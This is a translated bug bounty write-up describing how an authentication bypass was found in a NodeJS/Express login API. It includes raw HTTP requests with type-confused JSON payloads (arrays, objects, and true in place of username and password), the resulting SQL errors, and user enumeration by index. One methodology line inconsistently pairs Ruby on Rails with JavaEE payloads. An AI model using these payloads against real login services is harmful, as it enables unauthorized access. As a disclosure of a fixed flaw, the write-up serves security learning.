内容简介:本文主要针对的是我参加一个漏洞赏金计划的过程中发现的NodeJS应用程序身份验证绕过漏洞进行分析。我们将重点讲述我所使用的方法,以便在遇到类似的Web界面(仅提供单一登录表单)时可以利用这种方法来寻找漏洞。方法论如果大家曾经对大型网站(例如GM、Sony、Oath或Twitter)进行过漏洞挖掘,那么进行的第一项工作可能就是运行子域名发现工具,从而进入到初始侦查过程中。这样一来,我们就能获得潜在目标的列表,有时这一列表可能会达到数百个、数千个不同的主机。如果有人专注于网络应用程序的漏洞挖掘,可能会使用Aq
本文主要针对的是我参加一个漏洞赏金计划的过程中发现的NodeJS应用程序身份验证绕过漏洞进行分析。我们将重点讲述我所使用的方法,以便在遇到类似的Web界面(仅提供单一登录表单)时可以利用这种方法来寻找漏洞。
方法论
如果大家曾经对大型网站(例如GM、Sony、Oath或Twitter)进行过漏洞挖掘,那么进行的第一项工作可能就是运行子域名发现工具,从而进入到初始侦查过程中。这样一来,我们就能获得潜在目标的列表,有时这一列表可能会达到数百个、数千个不同的主机。如果有人专注于网络应用程序的漏洞挖掘,可能会使用Aquatone这类工具,这类 工具 能够对常用端口上运行的Web服务进行扫描,同时列举出网站的响应标题,并打印出屏幕,最终提供一份HTML格式的报告。
但是,当我们查看报告时,会注意到,大多数情况下,这些Web服务器会呈现出“404 Not Found”、“401 Unauthorized”、“500 Internal Server Error”、默认Web界面或各种服务页面。其中,服务页面又包括VPN或网络设备登录页面、第三方软件、cPanels、WordPress登录页面等。我们可能无法直接获得Web应用程序的位置,这样就无法直接进入到寻找XSS或 SQL 注入漏洞的步骤。至少,到目前为止,我还没有这样的运气。
但有时,我们实际上可以找到一些看起来像自定义应用程序的界面,其中包含一些其他选项,例如注册或忘记密码。在这里,我们是可以进行一些操作的。遇到此类情况,我通常采用以下的处理方式:
1、首先要做的,就是检查页面的源代码,我们可以找到例如JavaScript或CSS这样的资源链接,并且能从中发现一些应用程序目录,例如/assets、/public、/scripts等。我们应该对这些目录进行检查,以发现其中是否存在可以利用的文件。
2、Wappalyzer(支持在所有流行浏览器上作为扩展使用)能够提供技术上的充分信息,包括Web服务器、服务器端使用的技术、JavaScript库等。这样一来,我们将掌握该页面的整体情况,并为进一步的测试选择正确的方法。在这里,如果应用程序是使用Ruby on Rails构建的,那么可以尝试使用针对JavaEE的RCE Payload。
3、如果发现任何JavaScript文件,我会执行一些静态分析,以确认是否有任何API终端暴露问题,以及是否存在任何客户端身份验证和用户输入验证逻辑。
4、在完成上述步骤并掌握一定信息后,我开始使用Burp Suite测试所有功能(包括登录、注册、忘记密码等)的实际逻辑,并拦截对服务器的请求。然后,我将请求发送到Repeater进行重放。具体而言,我们在application/json、application/xml和其他类型的位置更改Content-Type,使用多个Payload作为请求的主题,在不同的HTTP方法之间切换,或更改HTTP请求标头,并观察上述尝试是否能导致服务器端出现错误。如果应用程序存在任何漏洞,现在就是发现这些漏洞的最佳时机,我们需要认真观察每个响应,并且注意任何一点细小的变化。例如,我们使用PUT替换GET发出请求,标头是否出现缺少?如果我们发送一个格式错误的JSON,响应正文中是否会出现不寻常的字符?
5、最后,我运行wfuzz,尝试发现服务器上一些不需要的文件或文件夹。我自定义的“Starter Pack”字典中,包含一些Web服务器上常见的内容,例如.git或.svn这些源版本控制系统文件夹、JetBrain的.idea这类IDE目录、.DS_Store文件、配置文件、常见Web接口路径、管理员接口,以及Tomcat、JBoss、Sharepoint的特定文件或文件夹。这个字典中,共包含约45k的条目,我发现利用这一字典总能找到一些有趣的内容,可以帮助我进一步发现漏洞。
如果进行上述步骤后,没有任何发现,那么我认为这一应用程序的安全性较强,很可能没有漏洞能够绕过身份验证或进入应用程序。
在实际尝试中,通过分析认证的请求,我们得到了一些线索。实际上,这是一个简单的登录表单,但经过我们对HTTP响应标头进行分析并使用Wappalyzer进行扫描后,结果表明这是一个使用ExpressJS框架构建的NodeJS应用程序。我之前担任Web开发人员时,JavaScript是我最为常用的语言,并且我已经在寻找JavaScript相关的栈漏洞这一方面积累了充分的经验。因此,我决定深入挖掘这一漏洞,看看我能够做些什么。
漏洞发现
我们使用Payload,对侦查阶段发现的终端进行测试,在这里,找到了一个凭据错误的漏洞,该漏洞是在JSON的POST过程中包含用户名和密码:
POST /api/auth/login HTTP/1.1 Host: REDACTED Connection: close Content-Length: 48 Accept: application/json, text/plain, */* Origin: REDACTED User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3558.0 Safari/537.36 DNT: 1 Content-Type: application/json;charset=UTF-8 Referer: REDACTED/login Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,pl-PL;q=0.8,pl;q=0.7 Cookie: REDACTED {“username”:”bl4de”,”password”:”secretpassword”}
在本文的后续,我将省略HTTP标头,因为我们没有对标头进行任何更改。
在响应中,没有看到任何令人兴奋的内容,除了其中的一个细节:
HTTP/1.1 401 Unauthorized X-Powered-By: Express Vary: X-HTTP-Method-Override, Accept-Encoding Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Access-Control-Allow-Headers: X-Requested-With,content-type, Authorization X-Content-Type-Options: nosniff Content-Type: application/json; charset=utf-8 Content-Length: 83 ETag: W/”53-vxvZJPkaGgb/+r6gylAGG9yaeoE” Date: Thu, 11 Oct 2018 18:50:26 GMT Connection: close {“result”:”User with login [bl4de] was not found.”,”resultCode”:401,”type”:”error”}
这个细节是,响应使用了方括号来返回我发送的用户名。因为在JavaScript中,方括号表示数组,所以这个用户名的返回值,看起来像是这个数组的实际元素。为了确认这一点,我发送了另一个Payload,一个空的数组:
{“username”:[],”password”:”secretpassword”}
服务器响应如下,印证了我们的这一推测:
{“result”:”User with login [] was not found.”,”resultCode”:401,”type”:”error”}
一个空的数组?那么方括号是否可以被接受为用户名呢?
我们尝试将空对象作为用户名提交,看看会发生什么:
{“username”:{},”password”:”secretpassword”}
针对该请求的响应内容,证明了我的猜想,刚刚发送的内容会在身份验证逻辑中用作用户名(尝试调用{}.replace函数,但没有替换JavaScript对象):
{"result":"val.replace is not a function","resultCode":500,"type":"error"}
我们创建一个空的对象(对应上述响应中的val),然后调用replace()作为其方法。我们可以看到,错误完全相同:
let val = {} val.replace() VM188:1 Uncaught TypeError: val.replace is not a function at <anonymous>:1:5
漏洞利用
在确认了这一漏洞后,我们就要尝试对其进行成功的利用。我们根据其响应内容,推断背后所运行的代码,接下来要做的下一个测试,就是尽可能“捣乱”,以触发其他错误。看起来,嵌套数组([[]])是一个不错的尝试:
{“username”:[[]],”password”:”secretpassword”}
来自服务器的响应内容超出了我的预期:
{"result":"ER_PARSE_ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ') OR `Person`.`REDACTED_ID` IN ()) LIMIT 1' at line 1","resultCode":409,"type":"error"}
在我们看到类似这样的错误信息时,会本能地想到SQL注入。但首先,我们需要知道如何在该查询中使用用户名来制作正确的Payload,并攻陷 MySQL 服务。我们知道,用户名被视为某个数组元素,因此我发送了一个请求,其中username只是数组的第一个元素([0]):
{“username”:[0],”password”:”secretpassword”}
这一次,应用程序返回了不一样的错误信息:
{“result”:”User super.adm, Request {\”port\”:21110,\”path\”:\”/REDACTED? ApiKey=REDACTED\”,\”headers\”:{\”Authorization\”:\”Basic c3VwZXIuYWRtOnNlY3JldHBhc3N3b3Jk\”}, \”host\”:\”api-global.REDACTED\”}, Response {\”faultcode\”:\”ERR_ACCESS_DENIED\”,\”faultstring\”:\”User credentials are wrong or missing.\”, \”correlationId\”:\”Id-d5a9bf5b7ad73e0042191000924e3ca9\”}”,”resultCode”:401,”type”:”error”}
经过快速分析后,我发现我能够以某种方式,使用ID为0的用户(或者某个数据结构中索引为0的用户)发送另一个请求。由于密码错误,显然并没有成功进行身份验证。实际上,我们可以看到Authorization表头中包含Base 64编码后的字符串super.adm:secretpassword,这也就意味着该应用程序确实启用了索引为0的用户。
接下来,我们想要弄清楚,是否可以使用后续的索引(1、2、3)从数据库中枚举用户。经过尝试,成功的找到了另外两个用户。此外,我们还发现可以传递任意数量的索引,作为登陆请求的用户名中的数组,它们将在IN()子句的SQL查询中使用:
{"username":[0,1,2,30,50,100],"password":"secretpassword"}
只要发现其中的某个索引有效,这一请求总会返回一个有效的用户(应用程序尝试使用SQL查询,从数据库中选择的用户名发送这一内部API请求)。但是,它仍然没有接受我尝试的密码,因此我们目前还没能完全绕过身份验证。我的下一个挑战,就是找到绕过密码验证的方法。
考虑到我正在分析JavaScript应用程序,那么我能想到的一个简单的东西就是Boolean false。
{“username”:[0],”password”:false}
这次,来自服务器的响应是不同的:
{"result":"Please provide credentials","resultCode":500,"type":"error"}
我从来没有见过这个错误,但我很快确认,刚刚的尝试是有效的,因为其中缺少了用户名和密码。由于我提供了用户名,服务器只需要验证密码,但false表示根本没有密码。如果我们其改成“null”或“0”(这些都是JavaScript中的False值),也将得到相同的响应。
最终PoC
所以,如果将密码设置为False不起作用,那么如何将密码设置为True呢?
{“username”:[0],”password”:true}
就是这样,使用数组的第一个元素([0])作为用户名,并且使用True关键字作为密码,使我成功绕过了身份验证,并得到如下响应:
{"result":"Given pin is not valid.","resultCode":401,"type":"error"}
需要澄清一点,完整的绕过并没有完成,原因在于这一过程中还涉及到第三个因素:PIN码。实际上,PIN码应该在登录后输入,由此证明我们已经绕过了身份验证机制。这一漏洞在提交后被认为有效,并且目前已经被厂商修复。
由于会使用正则表达式对用户名和密码进行检查,因此我们在尝试创建Payload时会返回语法错误的错误提示,因为Payload中包含不支持的字符,我们无法进行SQL注入。
致谢
最后,我要感谢该公司及安全团队的支持与及时修复,感谢HackerOne赏金计划使我拥有了探索漏洞的机会。最后,要感谢我所在的安全小组成员为这份报告所提供的支持与反馈。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- Shiro权限绕过漏洞分析(CVE-2020-2957)
- libSSH 认证绕过漏洞(CVE-2018-10933)分析
- Microsoft Edge和IE浏览器同源策略绕过漏洞分析
- libssh CVE-2018-10933 身份验证绕过漏洞分析报告
- 赛门铁克邮件网关身份验证绕过漏洞(CVE-2018-12242)分析
- 网藤能力中心 | Nuxeo认证绕过和RCE漏洞(CVE-2018-16341) 分析
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Remote
Jason Fried、David Heinemeier Hansson / Crown Business / 2013-10-29 / CAD 26.95
The “work from home” phenomenon is thoroughly explored in this illuminating new book from bestselling 37signals founders Fried and Hansson, who point to the surging trend of employees working from hom......一起来看看 《Remote》 这本书的介绍吧!